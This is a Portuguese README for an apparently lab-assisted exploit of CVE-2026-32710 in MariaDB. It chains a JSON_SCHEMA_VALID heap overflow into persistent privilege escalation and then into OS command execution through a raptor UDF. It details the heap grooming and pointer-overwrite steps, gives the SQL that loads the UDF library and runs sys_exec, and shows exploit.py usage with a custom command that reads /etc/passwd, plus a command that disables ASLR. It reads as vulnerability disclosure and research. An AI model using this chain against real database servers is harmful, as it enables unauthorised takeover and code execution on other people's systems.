CVE-2026-32710

Estouro de buffer no heap em JSON_SCHEMA_VALID() do MariaDB → escalonamento persistente de privilégios → RCE via UDF

Assistido por laboratório. O script usa Docker/introspecção como root para ler /proc/1/mem e descobrir o layout do heap por conexão. A cadeia de exploração real é SQL puro via TCP. Um exploit armamentizado precisaria de uma primitiva de vazamento de informações para substituir a etapa de introspecção de memória.

Antes

lowpriv só pode executar SELECT no banco test. As tabelas do sistema são negadas.

Exploit

Um único script Python realiza o preparo do heap, uma escrita arbitrária em dois saltos através dos metadados de variáveis de usuário, persiste o escalonamento via GRANT ALL, e alcança execução de código através de uma UDF:

python3 exploit.py

Depois

lowpriv agora tem ALL PRIVILEGES WITH GRANT OPTION, pode ler tabelas do sistema, ler/gravar arquivos arbitrários e executar comandos do SO como o usuário mysql. A concessão sobrevive à reinicialização do servidor.

Etapas

Etapa 1: Escalonamento de privilégios

┌──────────────────────────────────────────────────────────────────┐
│  SELECT  json_schema_valid(overflow),                           │
│          @ccc...c := hop1,                                      │
│          @aaa...a := hop2                                       │
└──────────────────────────────────────────────────────────────────┘
         │                    │                   │
         ▼                    ▼                   ▼
   ┌───────────┐     ┌──────────────┐    ┌──────────────┐
   │ 192-byte  │     │ Write to @c  │    │ Write to @a  │
   │ overflow   │     │ through the  │    │ through the  │
   │ corrupts   │     │ corrupted    │    │ redirected   │
   │ entry_c's  │     │ pointer:     │    │ pointer:     │
   │ value ptr  │     │              │    │              │
   │ (2-byte    │     │ entry_a →    │    │ master_access│
   │  partial   │     │   .value =   │    │   = 0xFFFF.. │
   │  overwrite)│     │   &master_   │    │ (ALL PRIVS)  │
   │            │     │   access     │    │              │
   └───────────┘     │   .length= 9 │    └──────────────┘
                      └──────────────┘

1. Preparo do heap — mais de 100 variáveis de usuário esgotam o tcache, forçando Entry_a → Value_a → Entry_b → Value_b → Entry_c → Value_c a serem alocados consecutivamente.

2. Estouro — JSON_SCHEMA_VALID dispara um strncpy de 192 bytes além do buffer de 128 bytes, corrompendo entry_c→value (sobrescrita parcial de ponteiro de 2 bytes dentro da mesma página de 64 KB) para apontar para entry_a + 32.

3. Salto 1 — Atribuir a @c grava 126 bytes através do ponteiro corrompido nos metadados de entry_a, definindo:

   • entry_a→value = &Security_context::master_access
   • entry_a→length = 9

4. Salto 2 — Atribuir a @a grava 8 bytes de 0xFF através do ponteiro redirecionado → .

Etapa 2: RCE via UDF

Após a persistência, o servidor é reiniciado (recuperação de crash), e os privilégios escalonados são usados para instalar uma biblioteca compartilhada de UDF:

1. LOAD_FILE('/tmp/raptor_udf.so') INTO DUMPFILE '/usr/lib/mysql/plugin/raptor.so'
2. CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'raptor.so'
3. SELECT sys_exec('id > /tmp/pwned')

Principais restrições resolvidas

Configuração do laboratório

# 1. Compilar e iniciar o contêiner
./setup.sh

# 2. Desabilitar ASLR no host Docker
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'

# 3. Executar o exploit (autocalibra a cada tentativa)
python3 exploit.py

# 4. Comando personalizado
python3 exploit.py --cmd 'cat /etc/passwd > /tmp/out'

Requisitos

• Docker (x86_64)
• Python 3
• ASLR desabilitado no host Docker (/proc/sys/kernel/randomize_va_space = 0)
• Contêiner executado com --cap-add SYS_PTRACE (para acesso a /proc/1/mem)

Opções

--calibrate      Medir as constantes do layout do heap e sair
--cmd CMD        Comando para execução de UDF na Etapa 2 (padrão: id > /tmp/pwned)
--stage1-only    Executar apenas o escalonamento de privilégios, pular RCE via UDF
--attempts N     Máximo de tentativas da Etapa 1 (padrão: 5)
--host HOST      Host do MariaDB (padrão: 127.0.0.1)
--port PORT      Porta do MariaDB (padrão: 3306)

O que a assistência do laboratório fornece

O script do exploit acessa o contêiner como root para ler /proc/1/mem. Isso é usado para duas coisas:

1. Descoberta do layout do heap — localizar as três structs sentinela user_var_entry e verificar se são adjacentes (entry_a+32 dentro da mesma página de 64 KB que entry_c→value para a sobrescrita parcial de 2 bytes).
2. Endereço de Security_context — encontrar o campo master_access para ser o alvo da escrita em dois saltos.

A varredura é executada inline para cada tentativa porque o layout do heap varia entre conexões (mesmo com ASLR=0) devido ao pool de threads do MariaDB atribuir arenas diferentes. A cadeia de exploração real — estouro + salto 1 + salto 2 — é SQL puro executado por uma conexão TCP.

Em um cenário do mundo real, um atacante precisaria de uma vulnerabilidade separada de vazamento de informações (ou um canal lateral) para obter esses endereços.

Arquivos